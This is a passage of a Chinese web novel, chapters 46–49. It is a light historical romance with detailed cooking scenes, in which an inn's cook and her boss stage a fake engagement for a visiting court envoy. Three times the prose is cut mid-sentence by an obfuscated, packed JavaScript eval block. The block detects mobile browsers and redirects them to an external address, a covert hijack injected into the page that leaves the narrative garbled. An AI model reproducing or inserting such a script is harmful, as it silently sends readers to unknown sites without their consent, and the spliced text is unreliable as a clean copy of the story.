坏就坏在,老侯爷的大儿子是个怪不争气的公子哥,本是要承袭爵位的,结果十几岁成日里是寻花问柳喝酒赌钱,好好的一副身子就糟蹋了,偏偏心性傲得很,明里暗里得罪了不少人。 还没等被立为世子就暴病而亡了,老侯爷当时已过不惑,独独就这么一个儿子,白发人送黑发人可不是老泪纵横卧床不起。 缓了两三年才缓过来,想着偌大的侯府无人继承怎能行,这才又着急忙慌地得了对龙凤胎。 俗话说龙生龙凤生凤,老鼠的儿子会打洞,这对龙凤胎还真是沾上了些灵气的,儿子白承茂自小诗词歌赋无不精通,可谓是满腹经纶,十八般武艺也能耍上几分,不愧是武将世家;而女儿白宛瑜在京中则是有名的才女,言谈举止无不引得旁人驻足效仿。 张清寒听了皇后要派白家人来做这么个御使,也不禁皱了下眉,实在是不怪他,白承茂年纪不大却深谙官场之道,入了朝堂便成了文官清流们的拥趸,与皇后政见截然相反。 那么皇后唯一能派来的便是白家次女白婉瑜,这位曾经的皇后女官,盛极一时的红人,去岁才出宫嫁了人,可这嫁人也并不妨碍她继续在朝堂上发挥着作用。 “是白婉瑜,也就是如今的卫侯夫人?”张清寒直白问道。 “正是啊,张老弟不愧是你,哪怕离京城千里仍能猜中皇后娘娘的心思。”方知府如小鸡啄米般点头道。 “若是来的她,你便不用担心了,她向来是非分明善断事端,这江陵你治理的不错,我这酒楼能重建经营得红火,没有你的宽政扶持商贾是不成的,皇后娘娘未入宫前亦是经商的,你这是与她不谋而合。”张清寒面无表情地宽慰道。 “那就好那就好,这下我可是放宽心了。”方知府说罢,自顾自地给自己盛了碗荠菜豆腐汤,这荠菜自不必说了,清甜爽口鲜了整锅汤,不仅不涩反而好吃得紧,再配上隔壁街王豆腐坊的嫩豆腐,一口汤下去嫩滑无比。 不知不觉一碗就下了肚,勺子压根都停不下来,刚想盛第二碗抬头就见怎么桌子上没有飞舞的筷子了呢?方才如饿狼扑食的伙计们忽而转了性,一个个成了羞怯的大家小姐,不仅小口小口的吃饭,就连夹菜的动作都省了。 方知府静悄悄地环顾四周,毅然决然地不管不顾了起来,嘁哩喀喳开始给自己碗里夹菜,他方才才知这炒鸡蛋里是一种名叫香椿的野菜,往常也没吃过,不曾想竟如此好吃。 能吃到香椿鸡蛋油焖笋盖饭,他这趟酒楼就算没白来,而坐在他正对面的张清寒愈发沉默了。 方知府饱餐一顿心满意足地与众人挥手告别,骑着他那不甚听话的小烈马继续迎着飘荡的柳絮疾驰而去。 往日里欢声笑语的酒楼瞬间更是没了声音,众人默默地收拾好碗筷,一溜烟儿地全不见了踪影。 程六水赶忙躲回自己的房间里,一口气钻进了暖和的被子里连脑袋都不露出来,捂了好一会儿这才缓了过来。 老天爷啊她怎么没想起来有这么一出呢,她倒是不认识这要来的白婉瑜,可原主却识得这位白婉瑜的哥哥白承茂,他们二人的关系说来简单也是十分简单的,不过是两小无猜青梅竹马而已。 白承茂自小身子就弱,他那侯爷爹爹生怕这么个眼珠子也就此夭折了,那太医院的太医腿都溜瘦了,可还是不见好,冬日里一见风就咳嗽,夏天日头一晒就中暑,唯有春秋两季好些,可惜京城这两季太短。 后来老侯爷不知从哪听来的神仙真言,说是要送去个深山老林里集天地之灵气,滋养着白承茂的身子,养个三两年就能见起色了。 于是不到十岁的白承茂隐姓埋名被送去了庐州某山里,程门后山的一处院落里多了位体弱多病的小少爷。 而这位小少爷在程门唯一的玩伴便是与他年龄相仿的程六水,根据原主的记忆,这白承茂初时总被原主捉弄,可不知怎么的两人的关系倒是越处越好。 两年后,白承茂果然有了好转,老侯爷这才派人接这小祖宗回家,白承茂临走前对着原主依依惜别,仿佛是什么生离死别一样。 后来原主随父母来京中皇城司中研制新型火器,那早已长成的白承茂还前来探望过几次,只不过那时的他就已经与皇城司不对付了,每每说不了两句话就要离去。 原主不觉出什么,但程六水这么个看了几千本缠绵悱恻小说的人一瞧便知,这不就是小青梅的故事嘛。 可如今这小青梅成了她自己,她不仅浑身胆颤,幸亏此次来的不是白承茂,不然该如何交待他的青梅竹马变成了另一番模样。 思及此处,程六水这才从被子里钻了出来,方才因着这事精神一直紧绷着不觉得饿,如今松懈下来肚子便咕噜噜叫了起来。 近日酒楼忙碌得很,她尚未来得及给自己做些个零嘴,方桌上只有个孤零零的水壶,可一连喝着好几杯还是饿,正当她准备趁着夜黑风高偷摸给自己开小灶的时候,门外清脆的敲门声阻止了她鬼鬼祟祟的步伐。 “谁啊?”程六水皱眉道。 “我。”门外清冷的声音传来,原来是张东家。 程六水眼睛咕噜一转道,“厨房里有馒头,饿了自己热热。” “不吃馒头。”张清寒停顿了两秒才道。 “不吃馒头你还要吃什么?”程六水撅起嘴来,哼大晚上的她要独自享用夜宵,万不可像之前几次一样,被这帮损友伙计们抓个正着,只能被迫交出一大半吃食。 “我不吃东西,有事找你。”张清寒不禁撇嘴轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650625|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道。 “哦,那你进来吧,门没锁。”程六水只得开口道。 张清寒一进门便见程六水小脸红扑扑的,发丝在肩头凌乱地翘起,顿时有些不自然道,“抱歉,我不知你已睡了。” 睡了?程六水狐疑地看向张清寒,随后看见了镜子里她在被子里翻跟头打把势后的尊容,这才赶忙整理了乱七八糟的头发和衣衫。 “咳咳没睡,东家有何事啊?”程六水故作正经道,还很有礼貌地要给张清寒倒水,可惜水壶里的水早就被她喝得一滴不剩了,什么都倒不出来了。 “方才方大人说白家人要来。”张清寒试探说道。 “嗯我听到了,还说要来看看你待得如何了。”程六水重复着方知府的话,一脸奇怪地看向张清寒,实在是不明白这人怎么又要说一遍。 “白家人你也不记得了吗?”张清寒终是沉不住气问道,烛光下本就不甚清晰的眉眼愈发压低了起来,说不出的危险。 程六水仿若被猛虎盯上的小白兔,压根不知虎爪子都伸到头顶了,仍眨巴着眼睛诚实道,“我记得啊,白承茂小时候在程门住过几年的。” “不仅小时候住过几年吧?”张清寒逐渐靠近,脸上难得出现了极为压抑的神情。 这时程六水才反应过来,她赶忙笑眯眯讨好道,“哎呀东家你放心,我知道的你们俩政见不合,那小时候的情意都是过眼云烟不值一提,他哪能有东家你好啊。” 张清寒总觉着哪里不对劲,自己明明憋着一股气,如同掉进陈年的醋坛子都快腌入味了,他在皇城司见过那鲜衣怒马的少年郎是如何风尘仆仆赶来,又是如何穿过重重关卡,只为见程六水一面的。 当年只觉是年少情深,一笑了之便算了,可如今细细想来,竟有一人在他都不识得六水的时候,便陪着她度过懵懂天真的岁月,该是何等过往才会化作少年一腔深情。 他不知六水对白承茂是什么心思,他亦不知六水对自己是什么心思,心下顿时拧巴得不行,心口怨气怎么也出不去。 一抬头撞见程六水笑容灿烂,那些个冷冰冰的酸言酸语怎么也说不出了,明知道她这些个话都是哄自己的,却还是忍不住翘起嘴角。 “那如果我俩没有什么政见不合,你觉着谁更好?”张清寒脱口而出道。 程六水在心里都快把脸皱烂了,这什么鬼问题啊,我管你俩谁更好呢?谁好也没用,饿了还不是得自己做饭吃,说这些虚头巴脑的有啥用。 但就算是借她十个胆子也是不敢这般说出口的,只得耐着性子答道,“我觉着吧,天大地大不如吃饱重要,你要不要和我一起吃夜宵?” “。。。那你说谁更好,我再同你一起去吃。”张清寒难得执着地接着问道。 “当然是能陪我吃夜宵的你更好了。”程六水按耐着想抽张清寒脸的冲动道,还谁更好?当然是夜宵最好了! 47. 第 47 章 一推开后厨门,程六水又转头怨恨地看了眼张清寒,都怪他磨磨唧唧的,到底是来晚了一步,这厨房里早已站满了人,乔四方正坐在那烧火呢,拿着个大蒲扇一顿扇,火势旺得很。 “六水你终于来了,我和你说我刚才都没吃饱。”马陶陶鼓着脸道。 “嘿嘿我也是。”乔四方滋个大牙就在那傻乐。 “原来你们都在这等着我,东家你不会是他们派出的探子吧?!”程六水愈发不满道。 “我没有我不是,我是真的有事同你说。”张清寒赶忙辩解道。 “什么事啊?”乔四方一脸天真道。 “是啊,什么事只和六水说,不和我们说啊?”马陶陶趁乱开始调侃道,她又不是个瞎的,傻子都能看出来张东家一颗心都在六水身上,此时不看东家吃瘪更待何时啊。 张清寒聪明过人,哪里不知这帮伙计心中的小心思,冷笑道,“那你们说说方才为何都没吃好吧?四方你的筷子是怎么折的,陶陶你又低什么头呢?” 乔四方如被雷霆一击般瞬间成了霜打的茄子,战战兢兢地偷看马陶陶,半句话都不敢说,老老实实地烧火去了,低着头没一会儿脸就黑了。 而马陶陶更是直接又低下了头,好似对这话充耳不闻来着,掏出擀面杖道,“六水我们今天吃手擀面好不好,我想吃肉沫豆角卤子的。” 乔四方听了这句才小心翼翼地举起手道,“我还想吃西红柿鸡蛋的。” “好好好都做。”程六水叹了口长气道,吃吧活爹们使劲吃吧! 她正打着鸡蛋,忽然又看了眼厨房诸人道,“玉雨呢?我看她刚才也没怎么吃吧?陶陶要不你叫她一起来吃吧。” “我叫了,她说今日困得很就不吃了。”马陶陶十分自然道。 “哦,你还说你们不是预谋好一起来让我做夜宵的?”程六水愤愤不平道。 “哎呀好六水,我知道你最疼我了,怎么也不会看你的好姐妹饿肚子吧,你看我在这吃也吃不饱穿也穿不暖的,你就可怜可怜我吧。”马陶陶早已没有了初见时那皇商家小姐的模样,整个人赖在程六水身上,害得程六水手下地擀面杖都偏了一寸,直接擀歪了。 张清寒还不等程六水继续这腻腻歪歪的姐妹情深,直接一个提溜就将马陶陶整走了,他自己颠颠过来道,“我来给你打下手吧,我最会打下手了。” “好好好,你擀面,陶陶切菜,四方烧火。”程六水拍了拍手掌心上的面粉道。 “那六水你干啥啊?”乔四方直不楞登地问道。 “我看着你们干啊,不知道了吧不会带人的领导不是好领导,只会成为一个累死的领导。”程六水掐着腰宛如一个地主婆般指挥着这三人忙得滴溜溜转。 待一切准备就绪,程六水这才隆重登场,别看这两个卤子听着简单,但再简单的菜都得是有技巧的。 西红柿这么个外来的稀罕物,要先划上个十字刀,在那滚烫的热水里烫个一会儿,再放入透心凉的水盆里,这时取出沿着那刀痕轻轻一拨,外面那层薄薄的皮便全下来了。 这西红柿皮倒也不难吃,打卤面重要的是出汁的卤子,这层皮若是还在,稍稍就有那么一星半点碍事了,在将这西红柿滚刀切块。 起锅烧油,趁着油温还不热,放入蒜末爆香,刹那间菜籽油与蒜完美地结合在了一起,没了生蒜的腥辣只留香气,这时加入褪去皮的西红柿块,最好连方才切时的汁水一并倒入锅中。 顿时厨房响起了噼里啪啦的声响,惊得马陶陶又蹿出去二丈远,“陶陶你学了这月余的做饭,怎么还是这么怕炒菜呀。” “这也不能怪我啊,实在是太吓人了,但我调味调得很好!”马陶陶心有余悸道,一个劲用手拍着自己的小心脏。 “确实如此,四方与你恰好相反,他是炒什么都不怕,直接往油锅里倒水啊莽得很,调味却不行,甜不甜咸不咸实在是奇怪得很。”程六水点了点头,又轻声说道。 乔四方听到了自己名字,转过头来正要瞧,只听程六水又说了一句,“正好,你会调味他会炒菜,还真是天造地设的一对。。。做饭搭子。” “六水你说什么呢!还不快炒你的卤子。”马陶陶本就吓到了,此时小脸更是羞臊得很道。 “我炒我炒嘿嘿。”程六水在油锅中不停翻炒着西红柿,这西红柿不一会儿就出沙了化成了酸甜可口纯天然的西红柿汁,此时再倒入几勺清酱,颜色倒是未变多深,咸淡却加足了。 程六水看着咕噜噜冒泡的大铁锅,从一旁取出一瓮白糖来,一勺不够再来一勺,最后倒入先前已经煎好的嫩鸡蛋,这鸡蛋是赵阿婆家精心养的大母鸡小花今日下的,十分新鲜。 大火翻炒了起来,那红红的汁水裹住了嫩黄的鸡蛋,十分咸甜可口,出锅了再撒上把葱花,绝对是深夜不可多得的打卤面卤子。 张清寒手脚麻利地接过大铁锅,三下五除二就刷完了,生怕有水还擦了好几遍,才放心地放回了灶台上。 程六水欣慰地点了点头,真是孺子可教也,你看看好厨子就是要让所有人学会做饭,当然了依照天赋不同,这个做饭的能力亦是不同的。 像玉雨如今,凡是家常小菜皆是会做的,而张东家嘛刷碗真是一把好手啊! 早已用清酱姜片黄酒还有多种香料腌制好的肉沫,不多时便染上了清酱的颜色,瞧着瞬间就变得美味了起来。这肉沫程六水特意让陶陶挑那七分瘦三分肥的肉剁的。 这样的肉沫炒出来才不柴不腻,这回锅里不用再放许多油了,肥肉沫自然被煸出了些猪油,与菜籽油混合发出了更为勾人的香味。 煸炒到肉沫微微变色,程六水这时便眼疾手快地倒入了足量的蒜末,起码得有大半头大蒜吧,这样才能彻底祛除肉沫的腥气,吃起来半点没有荤腥味,却香得要命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650626|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炒了片刻便是切成极小段豆角出场的时候,这豆角自春季便有,夏季尤为多见,若是有些挑嘴的食客不爱吃青菜,那豆角便是他们的首选,可做豆角也是有讲究的,这东西生着吃没毒熟着吃也没毒,偏偏不生不熟间就有那么点毒。 毒也毒不死,就是跑肚拉稀得去医馆开个几天药来,故而程六水做豆角尽量是炒得熟熟的,不怕炒过火就怕炒不熟。 炒着炒着她就累了,眼巴巴地看向正在擀面条的张清寒,张清寒立时跑了过来,接过了铲子如同一头永动驴般开始卖力煸炒。 而乔四方撇着嘴继续擀面条,他是脑子不爱转,但也不是个傻子,他实在是没想到啊,怎么连无坚不摧的张老大在心仪之人面前都跟个小媳妇的似的,实在是太没有骨气了,怎么能和自己一样呢哎。 自从上次他与陶陶跑出去买梨吃,过去了好几个月了,乔四方也摸不清如今他与陶陶是个什么关系,有好吃好玩的,他们总是一处,可每每他要表明心迹时,陶陶不是临时有事就是突然跑了,弄得他这一颗心七上八下的,只能愈发不安起来。 只不过乔四方这番心思,今夜是无人理会了,擀得劲道爽滑的手擀面出锅了,程六水先是舀了几勺西红柿鸡蛋还不够,又放了些肉沫豆角,最后再取出了珍藏许久只剩一点的正宗无敌牛肉辣酱。 天啊这么一碗打卤面吃到嘴里,酸甜的蛋肉香的豆还有辣爽的牛汇聚在嘴巴里,甭提有多香了,就是神仙来了都不换啊,还什么白家人王家人的,早就抛到脑后去了。吃了几口,再在锅里来些面汤,没有比这更美的了。 一时间,厨房除了呲溜呲溜声,就没别的声音了,满满一大盆面就这么眨眼间没了。幸亏那同样贪吃的方知府不在,不然这一盆都不一定能够啊。 吃饱喝足的程六水这时的脑子才开始真正运转起来,她偏过头满脸疑问道,“东家你刚才找我到底要说什么事来着?” 张清寒一下子面条也不吃了,放下碗就拉着程六水出了厨房,还回头斩钉截铁道,“你们俩在这老实吃面!”马陶陶信誓旦旦地拉着乔四方点了点头,果真埋头吃起面来。 厨房门关得严严实实,张清寒站在院子里这才极为小声道,“皇后要派白婉瑜来,多半是要劝我回京的。” “什么?我不同意!”程六水未经大脑思考,脱口而出道。 这最为直接的反应激得张清寒眼睛都亮了,他努力放平呼吸道,“你为什么不同意?” “你要是走了,我不就没有东家了吗?你过年答应的涨工钱都是骗人的!”程六水撇着嘴可怜巴巴道。 张清寒无力地垂眉摇头,他就知道不该有什么六水开窍的期待,随即开口道,“我也不愿离开,故而你我怕是要做出戏给白婉瑜看。” “什么戏?”程六水好奇道。 “。。。是你我情投意合的戏。”张清寒说罢,白皙的脸上又红得不成样子。 48. 第 48 章 “???”程六水呆若木鸡地看向张清寒,嘴里震惊地连话都说不出来,她甚至觉着自己是幻听了。 “你再说一遍?”程六水紧接着道。 “演一出你我情投意合的戏给那白婉瑜看,她知我在这江陵有了牵挂,定然不好再不近人情让我随她回京,来日她回京也好对上有所交待。”张清寒忍着羞涩,认真地给程六水分析道。 “哦哦。”程六水微笑着听完了这番解释,然后她就以迅雷不及掩耳之势,用尽了刚才吃打卤面攒的劲,抄起身后的扫帚就朝着张清寒扫去。 张清寒眼看一个秋风扫落叶袭来,惊得赶紧上蹿下跳,这人啊还是得武功高,他这一蹿直接跑房顶上去了。 “你给我下来!”程六水立着眼睛怒斥道。 “六水你冷静,你听我给你讲。”张清寒踩着那青瓦都不禁被程六水的气势逼得后退。 “我听你讲什么?你这明明就是职场骚扰想占我便宜。”程六水越想越气,直接扔了扫帚开始搬梯子,要上瓦揭瓦给这东家一脚踹下去。 “我真的不是,我本就是欲辞官归隐,来这酒楼是帝后不肯放我归去的结果,如今再找理由不归京,也只有情之一字方真,那帝后也是性情之人,知晓我心悦于你,定会再斟酌的。”张清寒一着急躲闪之间,竟把自己藏在心中,一直未曾宣之于口的话说了出来。 他说出口后,瞬间被自己惊住了,一时间在那凝结了霜露的瓦片上都站不稳了,脚打粗溜滑直接甩了下去。 而那刚刚爬梯子爬到一半的程六水眨巴了两下眼睛,手脚灵活地一下子就跳下了梯子,举着扫帚恶狠狠地对着躺在地上不得动弹的张清寒道,“你骗傻子呢?你要演戏找谁不行?我看四方就不错,等少仲回来也行。” “???”张清寒脑瓜子嗡嗡的,根本都听不清程六水唇瓣张张合合地在说些什么,恨不得就此与世长辞。 他活了二十多年,第一次也是唯一一次的表白心意最终以六水根本没听明白告终,不仅没听明白还让自己和别的人在一起,哦还是别的男人。 厨房木门那马陶陶和乔四方两人紧紧实实地扒着门缝,院子里的动静是听得一清二楚,马陶陶震惊得张开嘴巴,久久不能合上。 乔四方则在心中默默记了一笔,这同女孩子表白还是要慎重再慎重的,万不可像张老大这般说了出来,有的人表白是场喜剧,有的人是场悲剧,而张老大的表白没有结局,因为压根对方就不知道开始了。 一连几日程六水都没给过张清寒好脸色,甚至还气鼓鼓地故意给张清寒的碗里放他最不爱吃的芹菜,那芹菜切成一小段一小段,同白米饭充分地混合在一起,挑也挑不出,他要是不吃就没有饭了。 张清寒是既不敢怒也不敢言,只能默默地捧着饭碗吃饭,他只要一张口同六水说话,六水就仿佛视他如无物般走开,短短几日就将这一代武林高手折磨得消瘦了一圈。 但张清寒并未放弃,话说不得他便开始写信,早上一封中午一封晚上一封,从最开始的两页变成了四页,最近的一封直接攀升至十页了,那信封都装不下。 程六水看着房间里堆成小山的信,恨不得赶紧扔出去,她扔出去过,然后没过一会儿那信就又回来了,如同个狗皮膏药般是撕也撕不掉。 她不能再这样放任不管坐视不理了,终于程六水第一次打开了其中一封信,这封信应是前些日送来的,两页纸皆是发自肺腑的真心道歉,什么忽略了程六水的感受,不该提出这等荒唐的建议。 紧接着程六水打开了一封又一封,每一封信都是肺腑之言,全无为自己辩解之言,唯有真心实意的歉意。 这一夜程六水看了许久,蜡烛都快燃灭了,她才读完了所有的信,不知为何望着夜半圆月,那股郁结在心中的怒气不自觉地就消散了。 她忽而又想起了那夜,张清寒似乎说过心悦于她,程六水日日清澈见底的圆眼睛忽而染上了些许深邃,在这片有些许光亮的黑暗中,她静默了许久才躺在了安心的床榻上。 第二日晨起,乔四方打着哈欠打开了酒楼的大门,好家伙大门外六匹骏马拉的宝车早已在这等了许久,整条街都是井然有序站岗的士兵,宝车周围几位面容清秀的侍女随侍着。 “您们这是吃饭?”乔四方倒是不怵这些,稀松平常地问道。 “夫人,酒楼开张了。”侍女未答乔四方的话,只是回过头轻声道。 “劳烦向张东家通传声,就说故人来访。”宝车内传来了轻柔的回应,这声音不紧不慢,令人闻之便心生好感。 乔四方听见这声音依旧面如常色,可心下早就打起了鼓,这人的声音他记得,就是当年的声音!“好稍等,您先里面请吧。” 说罢,乔四方一溜烟就跑去找张清寒了,“东家!人来了!” 张清寒打开房门道,“急什么?你欠她钱?” “我不欠她钱,我欠她别的!”乔四方赶紧溜进了张清寒的房间,反手就把门关上道。 “啥?你欠她什么?”张清寒显然是第一次知道乔四方竟与这白婉瑜有前尘过往,白婉瑜未入宫前应是在京中大门不出二门不迈的,怎会与乔四方有所牵扯呢? 乔四方眼看不说不行了,这才苦着脸极为小声道,“这都是许多年前的事了,那时我在洪泽会刚开始干活,接的第一单生意就是跟这白婉瑜有关系的。” “所以你们就认识了?洪泽会不是只接杀人绑票的买卖吗?你把白婉瑜怎么了?”张清寒决定还是要好好问问这段过往,别到时候一个不小心,白婉瑜再把乔四方抓进去。 “我没把她怎么啊,我那时岁数小什么都不懂,生意单子上写的是:送她上西天。然后我就把她从侯府带走了。。。”乔四方挠了挠脑脑袋不好意思道。 “所以你最后把她带哪去了?”张清寒现下只想自己给自己按按人中急救一下。 “我幼时在斗兽场的时候,就听那比我大的哥哥们说虎皮猴王的故事,说那猴王送自己的师父上西天,最终修成金身佛祖。我一接到这任务,我就兴奋了,送这小姑娘上西天,不仅是好事还有钱赚,真是一举两得啊。”乔四方不好意思笑道。 “当时你多大?她多大?”张清寒实在是不知该说些什么了,他就应该前些天从屋顶掉下来倒地不起的。 “我那时十三四岁,她比我还小点,也就刚刚十岁吧。”乔四方回忆道。 “所以你给她送寺庙里去了?”张清寒紧接着问道。 “对,但是是比较远的庙里,我听说那上西天都是历经九九八十一难,她家那侯府我现在还记得,出门一拐弯没走两步路就是慈悲寺,这么近哪里有什么磨难啊,我就送得再远了点。”乔四方越说越难为情,虽说自己现在也不是十分聪明吧,但那时候怎么能这么傻呢? “不会是京郊的明礼寺?”一张完整的京城地图出现在张清寒的脑中,他脱口而出道。 “正是,老大你猜得真准。”乔四方点了点头道。 张清寒笑了,能不准吗?那明礼寺坐落在京城周边唯一一座险峻高峰望曲山,不说是万丈高也得有个千丈了,相传这庙宇灵验无比,但须得步行上山,坐轿骑马皆是不行的。 千丈高的险峻山峰,京城多是富贵人家,除非是家里有大难了,才会豁出半条命来上山许愿。故而这明礼寺虽声名远播,却算得上是人烟稀少,庙宇里的主持方丈一心礼佛不理俗事。 乔四方送白婉瑜去这明礼寺还真算得上经受磨难了,十岁大的侯府小姐叫天天不应叫地地不灵,只能被个身强力壮的少年赶着上山,说到底虽无性命之忧,却也不是什么好事。 “行了,当时你蒙面了吗?她没见过你的脸吧?”张清寒这才问道。 乔四方眼睛又开始瞟向远处,转了一会儿才敢看张清寒的脸色,果然脸又黑了几分。 “洪泽会虽不是名门正派,但好歹也是个组织严密的帮派吧?带你入门的师父没有和你说过不能露脸吗?”张清寒握紧拳头咬着牙道。 “第一个师父没说,他也露脸了,然后就被要绑架的那家人看上了,留下来做了上门女婿。”乔四方瞪着眼珠子,如实回答道。 “好好好别说了,这两天你就别在柜台站着了,去后厨帮忙吧,轻易不要出后院。”张清寒实在是没有力气再追问下去了,他摆了摆手,乔四方就打开窗户一跃而下,再难见踪影了。 张清寒这才又打开了房门,门前早已伫立着一人,这人便是马陶陶。 “东家轮到我了吗?我有事和你说。”马陶陶心虚地笑道。 “进来吧。”张清寒点了点头,从六水那里学来的假笑在这一个早上派上了大用。 “我看见那白婉瑜了!”马陶陶一张苦瓜脸道。 “你看见就看见了,方大人那日不就说白婉瑜要来吗?你现下怎么才开始惊讶?”张清寒道。 “东家你不知道,我与那白婉瑜天生不对付,在京中的时候她就总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650627|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是板着张脸教我这教我那的,我实在是受不了了。”马陶陶叹气道。 “她在皇后面前当女官自然规矩大,想必她不仅教你也教旁人吧?这倒也不算是过节。”张清寒先前遭受过乔四方的重击,早已出现了惊人的免疫力,现下看这小女儿家的心思都是小儿科。 “这倒不算是过节,但是吧有一次她说我兄长在北戎颇有些乐不思蜀,还说那北戎长公主与兄长形影不离,怕是哪日就要在北戎安家不回来了。”马陶陶现下说道这,仍是十分气愤。 “然后呢?说吧你做了什么?”张清寒笑了。 “我没做什么啊,我当时一句话都没说,就是趁她回去的时候,往她马车里放了一堆毛毛虫扑棱蛾子还有其它一些很可爱的小动物。”马陶陶默默低下头道。 “我与那白婉瑜并不相熟,只是在帝后面前打过几次交道,就是这点头之交,我都知晓她平日里最怕那些个虫子,你真是好样的。”张清寒继续笑着。 “我还行吧,有仇报仇有怨报怨,谁让她故意气我来着。”马陶陶颇为有些自豪道。 “是啊,后来我从旁人嘴里听说,那白婉瑜未进宫前曾经身陷虫子窝,吓得嗷嗷叫满街跑,想必就是你干的吧?为了这事她险些失了体统,所幸皇后是个不拘小节的,她这才进了宫。”张清寒抽气道 “那倒是确实是我干的,所以我这不是来你这躲一躲吗?”马陶陶声音逐渐小了起来。 “行,你这几天也别在大堂跑堂了,去后厨帮忙吧。”张清寒摇了摇头道。 “好嘞,就等您这句话呢。”马陶陶再次推开窗户,乔四方的梯子早已在下方接应了,她顺着梯子就爬了下去,躲进后院就不出来了。 张清寒这回深吸了长长的一口气,想来应是不会有人在门口了,他这才推开房门,结果他直接被逼得后退了几步。 程六水俏生生地站在了门口,这么多天了她终于在张清寒面前笑了。 “六水,你这么早来是有什么事吗?”张清寒声音无比轻柔道,生怕这是一场美梦。 “清寒,我来找你自然是谈你我的事啊。”程六水明媚一笑,目光柔和如天上飘忽不定的云彩。 “我们有什么事?”张清寒都懵住了,小声问道。 “就是你我情投意合的事。”程六水实在是有点装不住这副温柔面孔了,直接将张清寒推进了房门将门反锁住。 两人在其中不知说了些什么,总之一炷香过去了,再出来张清寒便红着一张脸,而程六水脸上终于出现了发自真心的笑容。 在大堂中等候多时的白婉瑜倒是气定神闲,半点不耐烦也没有,月白云锦缎上极为细的银线织就了芙蕖花样,飘散在裙摆之上,仿佛九天之上的瑶台仙子般超凡脱俗。 手中抱着一织花锦暖炉,暖炉中许是还加了些清幽香料,丝丝沁人心脾却不会浓艳得令人心生厌烦。 白婉瑜耳边传来声响,她抬头一瞧,阔别一年多的皇城司使身着素净的天青袍子从楼上闲庭信步地走了下来,那张脸上看不出什么神情,一如往常般冷着脸,无从琢磨。 可他突然回过头去,温柔地伸出手来,一只纤细白皙的手自然而然地搭在了张清寒的手上,再向上一瞧,竟是位清丽可人的姑娘。 这姑娘穿着素朴,粉黛襦裙同色飘带束在腰间,乌发只是用发带梳起,鬓间一支粉白玉的桃花簪衬得她玉雪可爱,莹白的脸上是极为清澈的含水双眸,望着张清寒时,万般柔情皆倾泻而来。 张清寒小心翼翼地牵着这姑娘下楼,生怕姑娘一个不小心就摔倒了,但白婉瑜识人无数,一眼便看出这姑娘是个机灵跳脱的性子,张清寒在她面前怕是半点便宜都占不得的。 “卫侯夫人别来无恙啊。”张清寒到了大堂才依依不舍地放下六水的手,礼数周全道。 “皇城司使近来气色真是不错,想必是人逢喜事精神爽吧。”白婉瑜翩翩起身回礼道。 “正是,这位便是我的未婚妻程六水。”张清寒颔首笑道,脸上适时出现了一缕红晕。 “不过一年,您竟然真是转了性,往常那么个冰冷性子,如今也有情投意合的意中人了。”白婉瑜笑道。 “如今想来都是缘分,我刚回江陵就遇见了六水,老天注定躲也躲不得的,你不也从皇后娘娘身前女官变成了卫侯夫人吗?”张清寒道。 “确是这个理,可我倒是好奇,六水姑娘你与张大人订亲一事,我那至今未娶的哥哥知不知道?” 49. 第 49 章 江陵这地界过了立春,便是一天比一天暖和了起来,尤其今日一大早的阳光就洒进了酒楼大堂,或明或暗的光影映在了程六水依旧满是笑容的脸上,连嘴角的弧度都没变。 “阿茂自是不知的,想当年京城一别,倒也有个三年了,不知他近来可好?”程六水温和道。 “阿茂?六水你与白承茂白小侯爷认识?”还不等白婉瑜开口,张清寒一反常态地按捺不住性子问道。 “幼时相熟,只是后来阿茂回京了,这联系就愈发难了,要不我怎会今日头回见着阿茂的胞妹呢。”程六水弯起眉眼,笑眯眯地解释道,仿佛真是在安抚无端吃醋的郎君。 张清寒听了这话,方才立起的剑眉才微微放下,勉强恢复成体面样子道,“原是这样,怪不得不曾听你说起过。” 白婉瑜见这二人一唱一和的,却也沉得住气道,“是了,今日确实是头回见着六水,果然如兄长所说,灵秀婉清好似那天地灵气都聚在六水身上了。我当时听兄长说还不信,也是在他房中见了六水的画像才信了五分,如今见了真人才知兄长所言不虚。” 这回张清寒的立着的眉毛是彻底下不来了,他拉着六水的那只手依旧温温柔柔,而另一只手则没那么体面了,藏在身后差点就要将那衣摆搓成绸絮了。 画像?还是放在自己房中的画像?白承茂这厮到底想做什么?在外作出一副正人君子的模样,没想到竟然如此可恶可憎,张清寒愈想愈气,本就是假夫妻没真心,再被这么一催,那陈年老醋缸怕是真要打翻了。 